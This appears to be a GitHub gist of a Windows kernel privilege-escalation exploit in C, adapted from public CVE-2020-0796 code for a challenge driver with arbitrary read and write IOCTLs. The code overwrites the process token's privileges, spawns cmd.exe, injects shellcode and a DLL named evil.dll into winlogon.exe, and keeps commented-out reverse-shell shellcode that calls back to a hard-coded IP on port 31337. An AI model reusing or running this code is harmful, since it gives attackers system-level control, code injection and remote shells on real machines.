-
-
Save bww9641/b55628e52157fd04beb25155c951beeb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// REFERENCED CVE-2020-0796 1-day below code & some modify for this prob with @d0now, STEALIEN Inc. Member | |
/* | |
* CVE-2020-0796 LPE | |
* | |
* Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com | |
* Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com | |
* Date: 03/29/2020 | |
* | |
**/ | |
#include <stdio.h> | |
#include <stdint.h> | |
#include <winsock2.h> | |
#include <ws2tcpip.h> | |
#include <windows.h> | |
#include <TlHelp32.h> | |
#include "ntos.h" | |
#pragma comment(lib, "ws2_32.lib") | |
#define BKD_TYPE 31337 | |
#define IOCTL_BKD_WWW \ | |
CTL_CODE( BKD_TYPE, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS ) | |
#define IOCTL_BKD_RWW \ | |
CTL_CODE( BKD_TYPE, 0x901, METHOD_BUFFERED, FILE_ANY_ACCESS ) | |
ULONG64 get_handle_addr(HANDLE h) { | |
ULONG len = 20; | |
NTSTATUS status = (NTSTATUS)0xc0000004; | |
PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL; | |
do { | |
len *= 2; | |
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len); | |
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len); | |
} while (status == (NTSTATUS)0xc0000004); | |
if (status != (NTSTATUS)0x0) { | |
printf("NtQuerySystemInformation() failed with error: %#x\n", status); | |
return 1; | |
} | |
DWORD mypid = GetProcessId(GetCurrentProcess()); | |
ULONG64 ptrs[1000] = { 0 }; | |
for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) { | |
PVOID object = pHandleInfo->Handles[i].Object; | |
ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue; | |
DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId; | |
if (pid != mypid) | |
continue; | |
if (handle == (ULONG_PTR)h) | |
return (ULONG64)object; | |
} | |
return -1; | |
} | |
ULONG64 get_process_token() { | |
HANDLE token; | |
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId()); | |
if (proc == INVALID_HANDLE_VALUE) | |
return 0; | |
OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); | |
ULONG64 ktoken = get_handle_addr(token); | |
return ktoken; | |
} | |
int error_exit(SOCKET sock, const char* msg) { | |
int err; | |
if (msg != NULL) { | |
printf("%s failed with error: %d\n", msg, WSAGetLastError()); | |
} | |
if ((err = closesocket(sock)) == SOCKET_ERROR) { | |
printf("closesocket() failed with error: %d\n", WSAGetLastError()); | |
} | |
WSACleanup(); | |
return EXIT_FAILURE; | |
} | |
#include <tchar.h> | |
#include <wchar.h> | |
#include <Windows.h> | |
void dllinject(void) | |
{ | |
PROCESSENTRY32 entry; | |
entry.dwSize = sizeof(PROCESSENTRY32); | |
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); | |
int pid = -1; | |
if (Process32First(snapshot, &entry) == TRUE) { | |
while (Process32Next(snapshot, &entry) == TRUE) { | |
if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { | |
pid = entry.th32ProcessID; | |
break; | |
} | |
} | |
} | |
CloseHandle(snapshot); | |
if (pid < 0) { | |
printf("Could not find process\n"); | |
return; | |
} | |
printf("Injecting shellcode in winlogon...\n"); | |
HANDLE processHandle; | |
PVOID remoteBuffer; | |
char dllPath[] = "C:\\Uploads\\evil.dll"; | |
printf("Injecting DLL to PID: %i\n", pid); | |
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); | |
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE); | |
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL); | |
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); | |
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL); | |
CloseHandle(processHandle); | |
} | |
void inject(void) { | |
PROCESSENTRY32 entry; | |
entry.dwSize = sizeof(PROCESSENTRY32); | |
uint8_t shellcode[] = { | |
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x6D, 0x64, 0x00, 0x54, | |
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, | |
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, | |
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, | |
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, | |
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, | |
0xff, 0xc2, // inc edx (1 = SW_SHOW) | |
0xFF, 0xD7, 0x48, 0x83, 0xC4, | |
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3, 0x00 | |
}; | |
/* | |
unsigned char shellcode[] = | |
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" | |
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" | |
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" | |
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" | |
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" | |
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" | |
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" | |
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" | |
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" | |
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" | |
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" | |
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" | |
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" | |
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" | |
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" | |
"\x49\x89\xe5\x49\xbc\x02\x00\x7a\x69\x0a\xd3\x37\x09\x41\x54" | |
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" | |
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" | |
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" | |
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" | |
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" | |
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" | |
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" | |
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" | |
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" | |
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" | |
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" | |
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" | |
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" | |
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" | |
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; | |
*/ | |
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); | |
int pid = -1; | |
if (Process32First(snapshot, &entry) == TRUE) { | |
while (Process32Next(snapshot, &entry) == TRUE) { | |
if (lstrcmpiA(entry.szExeFile, "winlogon.exe") == 0) { | |
pid = entry.th32ProcessID; | |
break; | |
} | |
} | |
} | |
CloseHandle(snapshot); | |
if (pid < 0) { | |
printf("Could not find process\n"); | |
return; | |
} | |
printf("Injecting shellcode in winlogon...\n"); | |
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); | |
if (hProc == NULL) { | |
printf("Could not open process\n"); | |
return; | |
} | |
LPVOID lpMem = VirtualAllocEx(hProc, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); | |
if (lpMem == NULL) { | |
printf("Remote allocation failed\n"); | |
return; | |
} | |
if (!WriteProcessMemory(hProc, lpMem, shellcode, sizeof(shellcode), 0)) { | |
printf("Remote write failed\n"); | |
return; | |
} | |
if (!CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0)) { | |
printf("CreateRemoteThread failed\n"); | |
return; | |
} | |
printf("Success! ;)\n"); | |
} | |
#pragma pack(push ,1) | |
struct BkdPl { | |
PVOID addr; | |
unsigned long long value; | |
}; | |
#pragma pack(pop) | |
int main(int argc, char* argv[]) { | |
WORD wVersionRequested = MAKEWORD(2, 2); | |
WSADATA wsaData = { 0 }; | |
SOCKET sock = INVALID_SOCKET; | |
uint64_t ktoken = 0; | |
printf("> "); | |
getchar(); | |
int err = 0; | |
ktoken = get_process_token(); | |
if (ktoken == -1) { | |
printf("Couldn't leak ktoken of current process...\n"); | |
return EXIT_FAILURE; | |
} | |
printf("Found kernel token at %#llx\n", ktoken); | |
struct BkdPl a; | |
a.addr = (PVOID)(ktoken + 0x40);// addr | |
a.value = (uint64_t)(0x1337);// value | |
struct BkdPl b; | |
memset(&b, 0, sizeof(b)); | |
HANDLE handle = CreateFileA( | |
"\\\\.\\Bkd", | |
GENERIC_READ | GENERIC_WRITE, | |
FILE_SHARE_READ | FILE_SHARE_WRITE, | |
NULL, | |
OPEN_EXISTING, | |
0, | |
NULL); | |
printf("0x%lx\n", (uint64_t)handle); | |
// trigger aar | |
DWORD bytes_returned = 0; | |
int r = DeviceIoControl(handle, IOCTL_BKD_RWW, &a, sizeof(a), &b, sizeof(b), &bytes_returned, 0); | |
printf("DeviceIoControl: %d\n", r); | |
printf("SEP_TOKEN_PRIVILEGES: 0x%lx\n", a.value); | |
printf("SEP_TOKEN_PRIVILEGES: 0x%lx\n", b.value); | |
printf("SEP_TOKEN_PRIVILEGES changed\n"); | |
//1 | |
memset(&a, 0, sizeof(a)); | |
memset(&b, 0, sizeof(b)); | |
a.addr = (PVOID)(ktoken + 0x40); | |
a.value = (uint64_t)(0xffffffffffffffff); | |
b.addr = (PVOID)(ktoken + 0x40); | |
b.value = (uint64_t)(0xffffffffffffffff); | |
r = DeviceIoControl( | |
handle, | |
IOCTL_BKD_WWW, | |
&a, | |
sizeof(a), | |
NULL, | |
0, | |
&bytes_returned, | |
0); | |
printf("DeviceIoControl: %d\n", r); | |
getchar(); | |
/* | |
memset(&a, 0, sizeof(a)); | |
memset(&b, 0, sizeof(b)); | |
a.addr = (PVOID)(ktoken + 0x40); | |
r = DeviceIoControl(handle, IOCTL_BKD_RWW, &a, sizeof(LPVOID), &b, sizeof(LPVOID), &bytes_returned, 0); | |
printf("DeviceIoControl: %d\n", r); | |
printf("a.value: 0x%lx\n", a.value); | |
printf("b.value: 0x%lx\n", b.value); | |
*/ | |
//2 | |
memset(&a, 0, sizeof(a)); | |
memset(&b, 0, sizeof(b)); | |
a.addr = (PVOID)(ktoken + 0x48); | |
a.value = (uint64_t)(0xffffffffffffffff); | |
b.addr = (PVOID)(ktoken + 0x48); | |
b.value = (uint64_t)(0xffffffffffffffff); | |
r = DeviceIoControl( | |
handle, | |
IOCTL_BKD_WWW, | |
&a, | |
sizeof(a), | |
NULL, | |
0, | |
&bytes_returned, | |
0); | |
printf("DeviceIoControl: %d\n", r); | |
getchar(); | |
/* | |
memset(&a, 0, sizeof(a)); | |
memset(&b, 0, sizeof(b)); | |
a.addr = (PVOID)(ktoken + 0x48); | |
r = DeviceIoControl(handle, IOCTL_BKD_RWW, &a, sizeof(LPVOID), &b, sizeof(LPVOID), &bytes_returned, 0); | |
printf("DeviceIoControl: %d\n", r); | |
printf("a.value: 0x%lx\n", a.value); | |
printf("b.value: 0x%lx\n", b.value); | |
*/ | |
//3 | |
memset(&a, 0, sizeof(a)); | |
memset(&b, 0, sizeof(b)); | |
a.addr = (PVOID)(ktoken + 0x50); | |
a.value = (uint64_t)(0xffffffffffffffff); | |
b.addr = (PVOID)(ktoken + 0x50); | |
b.value = (uint64_t)(0xffffffffffffffff); | |
r = DeviceIoControl( | |
handle, | |
IOCTL_BKD_WWW, | |
&a, | |
sizeof(a), | |
NULL, | |
0, | |
&bytes_returned, | |
0); | |
printf("DeviceIoControl: %d\n", r); | |
getchar(); | |
/* | |
memset(&a, 0, sizeof(a)); | |
memset(&b, 0, sizeof(b)); | |
a.addr = (PVOID)(ktoken + 0x50); | |
r = DeviceIoControl(handle, IOCTL_BKD_RWW, &a, sizeof(LPVOID), &b, sizeof(LPVOID), &bytes_returned, 0); | |
printf("DeviceIoControl: %d\n", r); | |
printf("a.value: 0x%lx\n", a.value); | |
printf("b.value: 0x%lx\n", b.value); | |
*/ | |
printf("> "); | |
getchar(); | |
system("cmd.exe"); | |
inject(); | |
dllinject(); | |
WSACleanup(); | |
return EXIT_SUCCESS; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment